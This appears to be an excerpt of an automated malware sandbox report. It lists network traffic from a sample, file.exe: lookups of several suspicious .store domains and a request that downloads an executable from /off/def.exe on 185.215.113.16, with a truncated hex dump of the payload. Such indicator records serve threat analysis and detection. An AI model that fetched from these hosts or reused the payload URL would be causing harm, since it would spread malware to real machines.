Oct 31, 2024 01:19:27.639516115 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639533043 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639544010 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639565945 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639565945 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639589071 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639739037 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639750957 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639760017 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639775991 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639787912 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639787912 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639800072 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639806986 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639812946 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639822960 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639839888 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639841080 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639852047 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639863014 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639866114 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639875889 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639885902 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639889002 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639900923 CET	80	50004	185.215.113.16	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 01:18:15.027149916 CET	192.168.2.6	1.1.1.1	0x3c07	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:15.042577982 CET	192.168.2.6	1.1.1.1	0x2cea	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:15.054276943 CET	192.168.2.6	1.1.1.1	0xa7fb	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:15.064301014 CET	192.168.2.6	1.1.1.1	0xb316	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:15.073757887 CET	192.168.2.6	1.1.1.1	0xdd9d	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:08.553924084 CET	192.168.2.6	1.1.1.1	0xbf20	Standard query (0)	softwarefile.cc	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:18.095063925 CET	192.168.2.6	1.1.1.1	0x64a6	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:18.141680956 CET	192.168.2.6	1.1.1.1	0x92a2	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:18.372257948 CET	192.168.2.6	1.1.1.1	0xef	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:18.992893934 CET	192.168.2.6	1.1.1.1	0xc050	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:38.879054070 CET	192.168.2.6	1.1.1.1	0xa129	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:38.919869900 CET	192.168.2.6	1.1.1.1	0xbecc	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:19:40.000365973 CET	192.168.2.6	1.1.1.1	0x6aa6	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.020024061 CET	192.168.2.6	1.1.1.1	0xd02d	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.064624071 CET	192.168.2.6	1.1.1.1	0xa2f9	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.076396942 CET	192.168.2.6	1.1.1.1	0x4eca	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.228590012 CET	192.168.2.6	1.1.1.1	0x94af	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.228794098 CET	192.168.2.6	1.1.1.1	0x6f02	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.261248112 CET	192.168.2.6	1.1.1.1	0xdc9	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.261461973 CET	192.168.2.6	1.1.1.1	0xa143	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.287184954 CET	192.168.2.6	1.1.1.1	0xdcb9	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 31, 2024 01:19:40.287853003 CET	192.168.2.6	1.1.1.1	0x37d1	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:19:42.307265043 CET	192.168.2.6	1.1.1.1	0x9c3c	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:42.307931900 CET	192.168.2.6	1.1.1.1	0x9e49	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.673885107 CET	192.168.2.6	1.1.1.1	0xfed8	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.742722988 CET	192.168.2.6	1.1.1.1	0xc4a4	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.743119955 CET	192.168.2.6	1.1.1.1	0xd920	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.788083076 CET	192.168.2.6	1.1.1.1	0x72ec	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.790462971 CET	192.168.2.6	1.1.1.1	0xca7	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.791413069 CET	192.168.2.6	1.1.1.1	0xbc35	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.816576958 CET	192.168.2.6	1.1.1.1	0xbbad	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 01:19:44.816905975 CET	192.168.2.6	1.1.1.1	0xdc97	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:19:44.817154884 CET	192.168.2.6	1.1.1.1	0x8740	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:19:47.964798927 CET	192.168.2.6	1.1.1.1	0x9c82	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:47.973114967 CET	192.168.2.6	1.1.1.1	0x55bf	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:47.992899895 CET	192.168.2.6	1.1.1.1	0xb58a	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:19:48.980113029 CET	192.168.2.6	1.1.1.1	0x62ca	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:14.200814009 CET	192.168.2.6	1.1.1.1	0x595	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:14.223239899 CET	192.168.2.6	1.1.1.1	0xa174	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:14.274032116 CET	192.168.2.6	1.1.1.1	0xfc2f	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:14.293111086 CET	192.168.2.6	1.1.1.1	0x12a8	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:24.446736097 CET	192.168.2.6	1.1.1.1	0x2f88	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 31, 2024 01:20:24.519745111 CET	192.168.2.6	1.1.1.1	0x1685	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:20:24.846082926 CET	192.168.2.6	1.1.1.1	0x8064	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 01:20:25.134345055 CET	192.168.2.6	1.1.1.1	0xfdeb	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:20:25.135476112 CET	192.168.2.6	1.1.1.1	0xb850	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:25.135653019 CET	192.168.2.6	1.1.1.1	0xd379	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:25.145888090 CET	192.168.2.6	1.1.1.1	0xc363	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:25.196214914 CET	192.168.2.6	1.1.1.1	0xeea2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:20:48.898957014 CET	192.168.2.6	1.1.1.1	0x8308	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:48.905617952 CET	192.168.2.6	1.1.1.1	0xf1f2	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:20:49.042009115 CET	192.168.2.6	1.1.1.1	0xe1c5	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 01:20:49.082324982 CET	192.168.2.6	1.1.1.1	0x1ee3	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:20:49.099184036 CET	192.168.2.6	1.1.1.1	0xfdfb	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:20:49.100621939 CET	192.168.2.6	1.1.1.1	0xd26e	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:20:49.101349115 CET	192.168.2.6	1.1.1.1	0x487e	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:21:18.354680061 CET	192.168.2.6	1.1.1.1	0xd0f2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:21:18.373558998 CET	192.168.2.6	1.1.1.1	0xefdd	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 01:21:48.889530897 CET	192.168.2.6	1.1.1.1	0x6448	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 01:18:15.035820007 CET	1.1.1.1	192.168.2.6	0x3c07	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:15.052237988 CET	1.1.1.1	192.168.2.6	0x2cea	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:15.062818050 CET	1.1.1.1	192.168.2.6	0xa7fb	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:15.072546959 CET	1.1.1.1	192.168.2.6	0xb316	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:15.084505081 CET	1.1.1.1	192.168.2.6	0xdd9d	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:15.084505081 CET	1.1.1.1	192.168.2.6	0xdd9d	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:08.569765091 CET	1.1.1.1	192.168.2.6	0xbf20	No error (0)	softwarefile.cc		41.216.183.61	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:18.104031086 CET	1.1.1.1	192.168.2.6	0x64a6	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:18.150316000 CET	1.1.1.1	192.168.2.6	0x92a2	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:18.382793903 CET	1.1.1.1	192.168.2.6	0xef	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:19.005393982 CET	1.1.1.1	192.168.2.6	0xc050	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:38.854626894 CET	1.1.1.1	192.168.2.6	0xbc8a	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:38.887933969 CET	1.1.1.1	192.168.2.6	0xa129	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.009216070 CET	1.1.1.1	192.168.2.6	0x6aa6	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.028919935 CET	1.1.1.1	192.168.2.6	0xd02d	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.073122025 CET	1.1.1.1	192.168.2.6	0xa2f9	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.084781885 CET	1.1.1.1	192.168.2.6	0x4eca	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.235208988 CET	1.1.1.1	192.168.2.6	0x94af	No error (0)	youtube.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.235425949 CET	1.1.1.1	192.168.2.6	0x6f02	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:19:40.235425949 CET	1.1.1.1	192.168.2.6	0x6f02	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.267852068 CET	1.1.1.1	192.168.2.6	0xdc9	No error (0)	youtube.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.268140078 CET	1.1.1.1	192.168.2.6	0xa143	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:40.294114113 CET	1.1.1.1	192.168.2.6	0xdcb9	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 31, 2024 01:19:40.294651985 CET	1.1.1.1	192.168.2.6	0x37d1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 01:19:42.314044952 CET	1.1.1.1	192.168.2.6	0x9c3c	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:42.314568043 CET	1.1.1.1	192.168.2.6	0x9e49	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:42.314568043 CET	1.1.1.1	192.168.2.6	0x9e49	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.680547953 CET	1.1.1.1	192.168.2.6	0xfed8	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:19:44.680547953 CET	1.1.1.1	192.168.2.6	0xfed8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.749500990 CET	1.1.1.1	192.168.2.6	0xc4a4	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.749792099 CET	1.1.1.1	192.168.2.6	0xfd27	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:19:44.749792099 CET	1.1.1.1	192.168.2.6	0xfd27	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.749877930 CET	1.1.1.1	192.168.2.6	0xd920	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:19:44.749877930 CET	1.1.1.1	192.168.2.6	0xd920	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.794795990 CET	1.1.1.1	192.168.2.6	0x72ec	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.797302008 CET	1.1.1.1	192.168.2.6	0xca7	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:44.798320055 CET	1.1.1.1	192.168.2.6	0xbc35	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:47.971940041 CET	1.1.1.1	192.168.2.6	0x9c82	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:19:47.971940041 CET	1.1.1.1	192.168.2.6	0x9c82	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:19:47.971940041 CET	1.1.1.1	192.168.2.6	0x9c82	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:47.980186939 CET	1.1.1.1	192.168.2.6	0x55bf	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:19:47.999706030 CET	1.1.1.1	192.168.2.6	0xb58a	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 01:19:48.986974955 CET	1.1.1.1	192.168.2.6	0x62ca	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:20:14.209480047 CET	1.1.1.1	192.168.2.6	0x595	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:14.231517076 CET	1.1.1.1	192.168.2.6	0xa174	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:14.282905102 CET	1.1.1.1	192.168.2.6	0xfc2f	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:14.301876068 CET	1.1.1.1	192.168.2.6	0x12a8	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:24.452750921 CET	1.1.1.1	192.168.2.6	0x7ddf	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:24.453331947 CET	1.1.1.1	192.168.2.6	0x2f88	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 31, 2024 01:20:25.107743025 CET	1.1.1.1	192.168.2.6	0x6d45	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:20:25.107743025 CET	1.1.1.1	192.168.2.6	0x6d45	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:25.142303944 CET	1.1.1.1	192.168.2.6	0xb850	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:25.142462015 CET	1.1.1.1	192.168.2.6	0xd379	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:25.152822018 CET	1.1.1.1	192.168.2.6	0xc363	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:20:25.152822018 CET	1.1.1.1	192.168.2.6	0xc363	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:48.902873993 CET	1.1.1.1	192.168.2.6	0xb5b6	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:48.905808926 CET	1.1.1.1	192.168.2.6	0x8308	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:20:48.905808926 CET	1.1.1.1	192.168.2.6	0x8308	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:20:49.107479095 CET	1.1.1.1	192.168.2.6	0xd26e	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 01:20:49.108370066 CET	1.1.1.1	192.168.2.6	0x487e	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:20:49.159496069 CET	1.1.1.1	192.168.2.6	0xa607	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:20:49.159496069 CET	1.1.1.1	192.168.2.6	0xa607	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:21:18.363720894 CET	1.1.1.1	192.168.2.6	0x3580	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:21:18.363720894 CET	1.1.1.1	192.168.2.6	0x3580	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:21:18.363800049 CET	1.1.1.1	192.168.2.6	0xd0f2	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:21:48.896874905 CET	1.1.1.1	192.168.2.6	0x6448	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:21:48.896874905 CET	1.1.1.1	192.168.2.6	0x6448	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49797	185.215.113.16	80	1048	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:18:28.697463036 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 01:18:29.601666927 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:18:29 GMT Content-Type: application/octet-stream Content-Length: 2820096 Last-Modified: Wed, 30 Oct 2024 23:13:35 GMT Connection: keep-alive ETag: "6722bd9f-2b0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 8f 98 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@pgootnwq*:@rqqmfceu `+@.taggant@+"*@
Oct 31, 2024 01:18:29.601681948 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:18:29.601769924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:18:29.601784945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:18:29.601809978 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:18:29.601824045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:18:29.601840973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
